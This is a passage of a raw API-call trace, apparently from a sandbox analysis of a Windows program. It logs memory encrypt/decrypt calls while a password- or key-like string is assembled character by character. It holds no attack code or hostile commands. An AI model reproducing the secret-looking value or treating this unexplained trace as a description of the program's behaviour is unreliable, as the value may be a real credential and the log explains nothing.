[7]=0x1))) returned 0x0 [0135.220] SysStringLen (param_1="") returned 0x8 [0135.220] SysStringLen (param_1="k") returned 0x8 [0135.220] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.220] SysStringLen (param_1="\x56ec\x8aff\xe839\xcb41\x41b5\xe10b\xf7ee\xca3c") returned 0x8 [0135.220] SysStringLen (param_1="\x56ec\x8aff\xe839\xcb41\x41b5\xe10b\xf7ee\xca3c") returned 0x8 [0135.220] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.220] SysStringLen (param_1="kS") returned 0x8 [0135.220] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.220] SysStringLen (param_1="\x2d9d\x88e4\xe6d3\xbacc\xdad4\x9964\xdf28\xb6fe") returned 0x8 [0135.220] SysStringLen (param_1="\x2d9d\x88e4\xe6d3\xbacc\xdad4\x9964\xdf28\xb6fe") returned 0x8 [0135.220] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="kSu") returned 0x8 [0135.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="\x7c61\x3391\x63b4\xba82\x15c6\x6bee\x22bc\x21ff") returned 0x8 [0135.221] SysStringLen (param_1="\x7c61\x3391\x63b4\xba82\x15c6\x6bee\x22bc\x21ff") returned 0x8 [0135.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="kSu0") returned 0x8 [0135.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="\x66a7\xa995\xea6b\xe87d\x3956\xac82\xb16f\x578f") returned 0x8 [0135.221] SysStringLen (param_1="\x66a7\xa995\xea6b\xe87d\x3956\xac82\xb16f\x578f") returned 0x8 [0135.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="kSu0q") returned 0x8 [0135.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="\x65c\x3e8e\x9aa0\xe7c0\x4450\x12f0\x9105\xb07b") returned 0x8 [0135.221] SysStringLen (param_1="\x65c\x3e8e\x9aa0\xe7c0\x4450\x12f0\x9105\xb07b") returned 0x8 [0135.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="kSu0qf") returned 0x8 [0135.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.221] SysStringLen (param_1="\x45ff\xd8d9\xc815\x1305\x8b5b\x7fbe\x6da4\x4f93") returned 0x8 [0135.221] SysStringLen (param_1="\x45ff\xd8d9\xc815\x1305\x8b5b\x7fbe\x6da4\x4f93") returned 0x8 [0135.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.222] SysStringLen (param_1="kSu0qfL") returned 0x8 [0135.222] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.222] SysStringLen (param_1="\x4a4f\xdd7\x9d1e\x3c8d\x1531\x8a8a\xb871\xa3da") returned 0x8 [0135.222] SysStringLen (param_1="\x4a4f\xdd7\x9d1e\x3c8d\x1531\x8a8a\xb871\xa3da") returned 0x8 [0135.222] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.222] SysStringLen (param_1="kSu0qfLp") returned 0x8 [0135.222] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91") returned 0x8 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91") returned 0x8 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91") returned 0x8 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91") returned 0x10 [0135.222] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.222] SysStringLen (param_1="kSu0qfLp1錍沭瀀鳴぀﵂") returned 0x10 [0135.222] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\xa45e\xf3c6\xb2b7\xca96\x239d\xa817\x71db\xcbab") returned 0x10 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\xa45e\xf3c6\xb2b7\xca96\x239d\xa817\x71db\xcbab") returned 0x10 [0135.222] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.222] SysStringLen (param_1="kSu0qfLp1/沭瀀鳴぀﵂") returned 0x10 [0135.222] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\xedfb\x5a3\xca9e\xeac2\x8686\x140e\x7c0a\x6536") returned 0x10 [0135.222] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\xedfb\x5a3\xca9e\xeac2\x8686\x140e\x7c0a\x6536") returned 0x10 [0135.222] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="kSu0qfLp1/H沭瀀鳴぀﵂") returned 0x10 [0135.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5fd4\x4cfc\x64f4\x7289\x63a3\xcf45\x87c9\xbed7") returned 0x10 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5fd4\x4cfc\x64f4\x7289\x63a3\xcf45\x87c9\xbed7") returned 0x10 [0135.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="kSu0qfLp1/Hs瀀鳴぀﵂") returned 0x10 [0135.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5d7f\x845\x74cb\x707\xab6e\x12f9\x16b9\xe946") returned 0x10 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5d7f\x845\x74cb\x707\xab6e\x12f9\x16b9\xe946") returned 0x10 [0135.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="kSu0qfLp1/HsA鳴぀﵂") returned 0x10 [0135.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x841d\x49d5\xe69a\x18d5\xc01a\x2769\xe789\xf024") returned 0x10 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x841d\x49d5\xe69a\x18d5\xc01a\x2769\xe789\xf024") returned 0x10 [0135.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="kSu0qfLp1/HsAy぀﵂") returned 0x10 [0135.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x56e4\x8da9\x1bfa\x6357\xde44\x38ae\x28d0\x9de3") returned 0x10 [0135.223] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x56e4\x8da9\x1bfa\x6357\xde44\x38ae\x28d0\x9de3") returned 0x10 [0135.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.223] SysStringLen (param_1="kSu0qfLp1/HsAy3﵂") returned 0x10 [0135.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.224] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x1351\x580b\xcff6\xc54d\x1e\x5ab1\xb6e8\x16bd") returned 0x10 [0135.224] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x1351\x580b\xcff6\xc54d\x1e\x5ab1\xb6e8\x16bd") returned 0x10 [0135.224] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.224] SysStringLen (param_1="kSu0qfLp1/HsAy35") returned 0x10 [0135.224] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.224] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f") returned 0x10 [0135.224] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f") returned 0x10 [0135.224] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f") returned 0x10 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f") returned 0x18 [0135.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="kSu0qfLp1/HsAy35B으牥麲덦뒜") returned 0x18 [0135.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x3475\x2859\xe59d\x6c8c\x7033\x332\x38fd\x6663") returned 0x18 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x3475\x2859\xe59d\x6c8c\x7033\x332\x38fd\x6663") returned 0x18 [0135.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="kSu0qfLp1/HsAy35BX으牥麲덦뒜") returned 0x18 [0135.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x2215\x69d9\x60e3\x655e\x90f4\x7728\xbd7d\xae21") returned 0x18 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x2215\x69d9\x60e3\x655e\x90f4\x7728\xbd7d\xae21") returned 0x18 [0135.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe牥麲덦뒜") returned 0x18 [0135.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\xc064\x3ff5\x68a1\x415f\xb48\x405c\x4d39\xa74") returned 0x18 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\xc064\x3ff5\x68a1\x415f\xb48\x405c\x4d39\xa74") returned 0x18 [0135.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0麲덦뒜") returned 0x18 [0135.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\xe70b\x4975\x4e88\x4baa\x6847\x8f00\xb85c\x1708") returned 0x18 [0135.225] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\xe70b\x4975\x4e88\x4baa\x6847\x8f00\xb85c\x1708") returned 0x18 [0135.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.225] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0Y덦뒜") returned 0x18 [0135.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x7ec4\xe02f\x71f1\x6d4a\x5379\xfea6\x2960\xf615") returned 0x18 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x7ec4\xe02f\x71f1\x6d4a\x5379\xfea6\x2960\xf615") returned 0x18 [0135.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.226] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV덦뒜") returned 0x18 [0135.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x73f\x479d\xbe16\xe10c\x9219\x18\x1863\x1b61") returned 0x18 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x73f\x479d\xbe16\xe10c\x9219\x18\x1863\x1b61") returned 0x18 [0135.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.226] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2뒜") returned 0x18 [0135.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\xb1a5\x1d90\xaf3\x28d4\x18ab\xe8a4\x1bd8\xd5ae") returned 0x18 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\xb1a5\x1d90\xaf3\x28d4\x18ab\xe8a4\x1bd8\xd5ae") returned 0x18 [0135.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.226] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m") returned 0x18 [0135.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa") returned 0x18 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa") returned 0x18 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa") returned 0x18 [0135.226] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa") returned 0x20 [0135.226] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.226] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m1㦄钍ꅐⳊ펋퉹") returned 0x20 [0135.226] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xb096\x9f1e\xbd1c\x83a0\x89ba\xb120\x3687\xab46") returned 0x20 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xb096\x9f1e\xbd1c\x83a0\x89ba\xb120\x3687\xab46") returned 0x20 [0135.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17钍ꅐⳊ펋퉹") returned 0x20 [0135.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x9be9\x2694\xd388\x8dcc\x3206\xb74\xd728\x5074") returned 0x20 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x9be9\x2694\xd388\x8dcc\x3206\xb74\xd728\x5074") returned 0x20 [0135.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QꅐⳊ펋퉹") returned 0x20 [0135.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xc784\x77d6\xa6e2\x70e7\x692e\x2bf3\x3f76\x5757") returned 0x20 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xc784\x77d6\xa6e2\x70e7\x692e\x2bf3\x3f76\x5757") returned 0x20 [0135.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNⳊ펋퉹") returned 0x20 [0135.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x41ec\x1c5\x61c5\x7818\x7d1a\xae30\x9264\xc608") returned 0x20 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x41ec\x1c5\x61c5\x7818\x7d1a\xae30\x9264\xc608") returned 0x20 [0135.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCⳊ펋퉹") returned 0x20 [0135.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x1e02\xc93e\x9c56\xeb6d\x2cc4\x1753\xf36\x8164") returned 0x20 [0135.227] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x1e02\xc93e\x9c56\xeb6d\x2cc4\x1753\xf36\x8164") returned 0x20 [0135.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.227] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm펋퉹") returned 0x20 [0135.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x94bf\xb79e\xe30\x47a7\xa8f8\x1a0\x3864\x526b") returned 0x20 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\x94bf\xb79e\xe30\x47a7\xa8f8\x1a0\x3864\x526b") returned 0x20 [0135.228] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.228] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1퉹") returned 0x20 [0135.228] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xd232\xb147\xb932\x9aba\x340d\x7ab\xd199\x3506") returned 0x20 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xd232\xb147\xb932\x9aba\x340d\x7ab\xd199\x3506") returned 0x20 [0135.228] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.228] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1T") returned 0x20 [0135.228] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c") returned 0x20 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c") returned 0x20 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c") returned 0x20 [0135.228] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x6d\x4a\x6a\x6a\x6a\x2d\x2e\x77") returned 0x28 [0135.228] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.228] SysStringLen (param_1="kSu0qfLp1/HsAy35BXe0YV2m17QNCm1Tr觲篺뉔⊇䀭ហᬏ") returned 0x28 [0135.228] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.228] SysStringLen 